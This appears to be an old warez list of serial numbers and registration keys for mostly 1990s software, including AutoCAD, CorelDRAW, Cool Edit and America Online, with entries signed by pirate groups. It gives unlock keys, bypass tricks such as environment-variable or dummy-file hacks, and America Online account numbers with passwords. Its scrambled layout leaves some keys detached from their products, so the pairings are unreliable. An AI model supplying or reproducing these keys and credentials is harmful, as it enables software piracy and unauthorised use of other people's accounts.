: 644 043 060 0036

Altos system diagnostic v1.0SO

: DIAG7K_9K00004

Altos system ECU setup v1.1SO

: A_ECU00246

AM Workflow v3.1 America online v1.0 for Windows

: 001169 : #/69-2815-4880 pw/LARKED-MASSES

America online v1.15 for Windows

: #/48-5004-6750 pw/AMBLED-ANION

America online v2.0 for Windows

: #/79-0519-3782 pw/SWIMS-TAGGER

America online v2.5 beta 4 Ansipaint v2.1

: #/10-5932-0206 pw/GOBLET-MEDIAN : name/DIR&MIR #/1216

Anyview v1.00a for Windows

: AVR-100-4201975

Apple media tool v1.2 for Windows

: AMT00-00000-2155073

Approach v3.0 for Windows

: 1F00028-01104360

Arcserve v5.01 for Windows (10 users) : 10AS 1163609 Arcsolo v3.02 for Windows ARJ v2.41

: EVSO 1231464 : name/XXX #/12345

Astound v1.5 for Windows

: 3031620659

Astound v2.0 for Windows

: 3044507372

Astro World for Windows

: name/Crack da WareZ #/@JTJ66BHNW

Asymetrix 3D F/X for Windows

: 2011-009713

Asymetrix multimedia toolbook v3.0

: 0740-002379

Atomic Dog's Barclock v4.2

: name/Jordan Hirsch #/PCUDH - RNUSR

Authorware PRO v2.0 for Windows

: 8205-2072-3071

Authorware PRO v2.01 for Windows

: 8217-4072-0086

Autocad lite for Windows

: 167-10001908

Autodesk Animator PRO

: 4930-P4-PH-1

Autodesk Animator PRO v1.0 Autodesk Animator PRO v3.05 Autodesk Autocad data extension

: 01603-010203-2520 : 655-10000088 : 130-10083217

Autodesk Autocad lite for Windows Autodesk Autocad v.R12

: 167-10001908

: 110-10061620

Autodesk Autocad v13.0 for Windows

: 70FEE2FD

Autodesk Designer learning resources : 07301-010203-4520 Autodesk Designer new fund. tools

: 07300-010203-3310

Autodesk Designer training guide

: 07300-010203-3010

Automanager v1.1 for Windows

: 001454

Automap PRO v1.06 for Windows Automap v1.0 for Windows

: 2028038 : W 12391

Automenu v1.0 for kids

: 501G4-UHPMH-PCG53-S

Autoscribe v2.5

: bbs/ABC #/5804

Autosketch v2.0 for Windows

: 123-12345678

Autosketch v2.10 beta for Windows Autosketch v2.x for Windows

: 190-00028490 : 190-00028490

Autovision v2.0 for Windows

: 5B35AE2B

Autowinnet v1.3 for Windows

: AWN348CASLT101

Autowinnet v1.4 for Windows

: AWN348INWUA102

AVM-ISDN-IBTX v3.0 Ballade v1.0 for windows Banner 3

: 2001507A : 2004100460 : 507230300326

BBS Bowl v1.5

: name/Me #/17677

BGfax v1.30

: name/Me #/201258 pop/DFCA99E0

Bicycle v1.3 bike 'alog on disk Bitcom v5.4c

: WWUXPQVYP : A271113

Bitfax v3.09c

: A248258

Bitfax/SR v4.06g and Bitcom v5.6d Blackboard

: A006844633

: name/Me bbs/ABC key/?G49(

Blastermaster v6.x

: (add to .BAT) SET SBMASTER=798-3240

Bluewave v2.12

: name/Me #/77384318

Bolo CD-version

: 7000465510-LNK

Bookie Bookworm: All stories

: 1-900-903-2665

Boot commander v1.27 Boot'R v2.11

: R302582-TTHY : name/"Your own" #/RH-004001-000

Borland C++ v2.0 for OS/2

: BCP1420WW10180

Borland Office v2.0 for Windows

: IA332A10046950

Bridge manager v0.33 for Windows Buromanager PRO v3.1 C.B.S.O v2.6

: 373-0111-03

: 0E01188472020 : SYSTEM

CA Simply accounting v3.0a for Win

: 1021602-52559

CA Simply accounting v4.0b for Win

: 1020602-212703

Calendar v3.0 enterprises Calera wordscan v3.0

: #/61001234 key/191715 : BB3921343

Calera wordscan v3.1 for Windows

: HP3102305

Caligari true space v1.1 for Windows : 3 10 001 026188 Cantax for '95 v1.0 for Windows Canvas for Windows Canvas v3.52 for Windows

: 134-950128-0374079 : 5035430458 : 485110842

Cardshop plus for Windows

: 0729

Catdisk v7.xx

: (AUTOEXEC.BAT) SET CATDISK=XYZZY

Catdisk v8.x

: name/Maroon code/G445000QIR

CD-Quick cache v1.10

: NAME/**** KEY/****

CD-Quick cache v1.11

: name/Me key/DF92

CD-ROM update v0.3 beta

: (CDROM.REG) name/Me bbs/XXX

Chameleon NFS morpher v4.01

: 34649640121147 S3,D7D0

Chameleon NFS v3.14 for Windows Chameleon v4.x

: 3433223117197 P3 C4ED

: #/34059131041712 S3 key/A224

Chameleon NFS v4.5

: 34768840199594I3 2FA2

Cheat master (all versions)

: Make a empty file "A FOREST.SIG"

Check It v4.0 and v5.0

: 000-237032

Checkit PRO (analyst) for Windows

: A7-100163

Checkit PRO analyst v1.0 for Windows : A7-100163 Checkit PRO sysinfo v1.0

: A1-001725

Checkit PRO v1.04 for Windows

: A3-062402

Checkit PRO v1.06 or 4.0+ /Windows Checkit v4.0+

: A4-115796

: A7-100163

Chicago beta build 177

: betaside id/101907 pw/999670C9E

CICS v2.01 for OS/2 multi user

: UN74786

CICS v2.01 for OS/2 single user

: UN74802

Cleensweep v1.0 for Windows

: 115-25C-22620

Cleensweep v2.0 for Windows

: 001-16C-26703

Clickette

: User Name: Compu Terror Company Name : (Anything you Like) Expiry Date : (Leave Blank) Registration Key: 050YPQE8YLARYLH2JW6W

Clinical pharmacy for Windows

: 9412345

Close up host/remote v6.0 for Windows : 31B57D-1121111 Closeup v5.0 for Windows CMed 1.08b

: IBB463-852875 : name/Crack da WareZ #/BMBKEJANEJ

CM Viewer v3.10

: 44718494P31

Coach & Coach Pro

: 1552467

Color view v3.10

: name/Twinhead [TWH/BDC] #/378839

Comma net mail v2.50 for Windows

: 19211134581-6

Comment

: 1897867

Compel PE

: ASYM10288

Complete program deleter v1.4 for win : 728679 Context v2.0 online dictionary Win

: 04.4101.20

Conversions plus for Windows

: 904954-2539

Conversions plus v2.0 for Windows

: 11111111

Conversions plus v2.53 for Windows

: 983798-0308

Cool edit v1.50 for Windows

: name/You! #/BMJZCPUX

Cool edit v1.51 for Windows

: name/COOL MAN #/XJMINCLE

Cool Edit 95 Corel flow v2.0 for Windows

: name/tHE riDDLER [uCF] #/CMFRQENH : SW-Q023-CF-E

Corel Gallery v2.0 for Windows

: CG2-020-123456

Corel Photopaint v5.0+ for Windows Corel Ventura 5 for Windows Corel Draw 4.0

: PP5-2522-97100 : CD5-123-456789

: CD4-111-678-324

Coreldraw v4.0 NL for Windows

: CD4-114-654-454 or CD4-234-345-567

Coreldraw v5.0 for Windows

: CD5-123-456789

Coreldraw v5.0 rev. E2 for Windows Corelflow v2.0 for Windows Crosseye 1

: CD5-050-118034

: CF2-123-456789 : User Name: Daniel Barfie

Company Name : (Anything you Like) Expiry Date : (Leave Blank) Registration Key: 0N8FVA60WC9N6JA2P5ZX Corstream dedicated Server v1.0

: CBA 0009432

CPU Monitor plus v2.30 for OS/2 v2.1 : CPUP-V230-512073 Crystal Caliburn Pinball

: 9525CCW102365-U1

Crystal graphics flying fonts for Win : RB10-0140-1022 CStar v1.0 for Windows D.B. Express v1.50 for Windows Dabbler v1.0 for Windows

: 5011380-8195

Daceasy EIS v5.0 for Windows Daceasy for Windows Dagesh v2.0 Data Widgets 2.0

: 4690289681360 : PE15003-1194

: EI50X101175 : WA1IB111835

: 334 804 020 072 125 : 0420-0100000-3218595

Data access tools v2.0a for Windows : 1F00028-01104360

More Documents from "Jesus M Ayala Varela"